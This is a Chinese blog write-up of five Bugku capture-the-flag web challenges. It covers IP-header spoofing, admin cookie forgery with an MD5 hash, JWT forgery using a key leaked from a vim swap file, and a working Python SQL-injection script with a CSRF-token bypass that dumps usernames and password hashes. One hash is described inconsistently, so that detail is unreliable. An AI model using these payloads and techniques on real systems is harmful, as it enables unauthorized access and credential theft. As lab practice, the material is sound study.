论剑场web6、web7、web8、web9、web10

web6:
在这里插入图片描述
以为是sql注入,输入了一下,发现IP被禁止。那么模拟一下请求头127.0.0.1
在这里插入图片描述找了一圈发现,密码是在HTML信息的最下面了。
在这里插入图片描述登录账号admin,密码test123,得到flag
在这里插入图片描述

web7
在这里插入图片描述
注册后随便登录个账号,显示权限不够。
看请求头cookie,发现规律如下:
r: 351e766803 d63c7ede8cb1e1c8db5e51c63fd47cff
u: 351e766803 d63c7ede8cb1e1c8db5e51c63fd47cff

21232f297a57a5a743894a0e4a801fc3 解md5 为 limited
那么加密admin的md5位:
21232f297a57a5a743894a0e4a801fc3

把cookie 都改成admin的md5即可。
在这里插入图片描述
web8:
注册登录之后,发现age处存在数字型注入。
尝试post发现,存在csrf
F12 找到csrf的key。
在这里插入图片描述
在提交post时,带上token = 得到的value,就可以绕过csrf了。
下面是Python源码

import requests
import re

#正则匹配 获取中间文本
def get_midstring(buff,w1,w2):
    if '\n' in buff :
        buff = buff.replace('\n', '')
    pat = re.compile(w1 + '(.*?)' + w2, re.S)
    result = pat.findall(buff)
    return result

r= requests.session()
url = 'http://123.206.31.85:10008/'
headers = {'cookie':'PHPSESSID=i8ejkhiuhaalt7l34t604er10emulgnm'}

respond = r.get(url,headers = headers).text
#获取csrf_key

csrf_key = get_midstring(respond,'name="token" value="','"')[0]

#开始提交post
url = 'http://123.206.31.85:10008/update.php'

sql = '(database())'       #输出 web8,数据库为 web8

sql = '(select group_concat(table_name) from information_schema.tables where table_schema=database())'  #输出users ,表为users

sql = '(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)'  #查询字段   ,回显 "id,username,password,nickname,age,description"

sql = '(select group_concat(username) from (select username from users where username=0x61646d696e)a)'  #回显 "admin,admin

sql = '(select group_concat(password) from (select password from users where username=0x61646d696e)a)'  #回显"blaiubdalifubdfdaf,5f4dcc3b5aa765d61d8327deb882cf99,202cb962ac59075b964b07152d234b70"

sql = '(select group_concat(username) from (select  count(username) username from users where username=0x61646d696e)a)'  #回显3  说明用户有三个

sql = '(select group_concat(username) from (select password from users where username=0x61646d696e)a)'  #回显"dzc123,dzc123,dzc123"

sql = '(select group_concat(password) from (select username from users where username=0x61646d696e)a)' #回显 "e296eed8741f0a56e1fbad839f67bda0,e296eed8741f0a56e1fbad839f67bda0,e296eed8741f0a56e1fbad839f67bda0"

sql = '(select group_concat(password) from (select password from users )a)' # 回显一大堆密码

sql = '(select group_concat(username) from (select username from users )a)'# 回显一大堆用户名

sql = '(select group_concat(username) from (select username from users where username=0x666c6167)a)' # 回显为空,说明查不到 ---- flag的16进制 为 0x666c6167

sql = '(select group_concat(description) from (select description from users where username=0x61646d696e)x)' # 回显 "users,users,users"

sql = '(select group_concat(password) from (select password from users where username =0x61646d696e)x)'


payload = {"nickname":'1',
           "age":sql,
           "description":'1',
           'token':csrf_key}

cookie = {"PHPSESSID":'i8ejkhiuhaalt7l34t604er10emulgnm'}
respond = r.post(url,data = payload,cookies = cookie)

#获取回显
#print(respond.text)
value = get_midstring(respond.text,'age" placeholder','quired')[0]
value = get_midstring(value,'value=','re')[0]

print(payload)
print(value)

得到了:
数据库:web8
表:users
字段:id,username,password,nickname,age,description

只能做到这里了,没有发现flag,可能是别的大佬,改掉了flag。。。

web9

put me a message bugku then you can get the flag 

那么就用put方式提交bugku
在这里插入图片描述解密base64 得到flag,
在这里插入图片描述
web10
F12看到提示
在这里插入图片描述base32解密得到:kk:kk123
尝试登陆 kk 密码kk123
在这里插入图片描述
vim在意外崩溃时,会产生*.swp文件,那么试试看。
在这里插入图片描述

得到了php文件的源码,找到了jwt的key:L3yx----+++±—

在登陆后,我们的cookie 就是JWT 密文。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJMM3l4IiwiaWF0IjoxNTc3Njk1NzA1LCJleHAiOjE1Nzc2OTU3MTAsImFjY291bnQiOiJrayJ9.nUuYvgNwqa5oqF7ub67jJaF9DI62rBNDxpFskLr09i0

jwt.io 在线jwt解密
在这里插入图片描述
把account 改成L3yx ,key 填上去。注意修改一下exp的时间戳。
修改get的cookie,重新get得到flag。
在这里插入图片描述

发布了50 篇原创文章 · 获赞 12 · 访问量 1916

猜你喜欢

转载自blog.csdn.net/weixin_45940434/article/details/103765699
web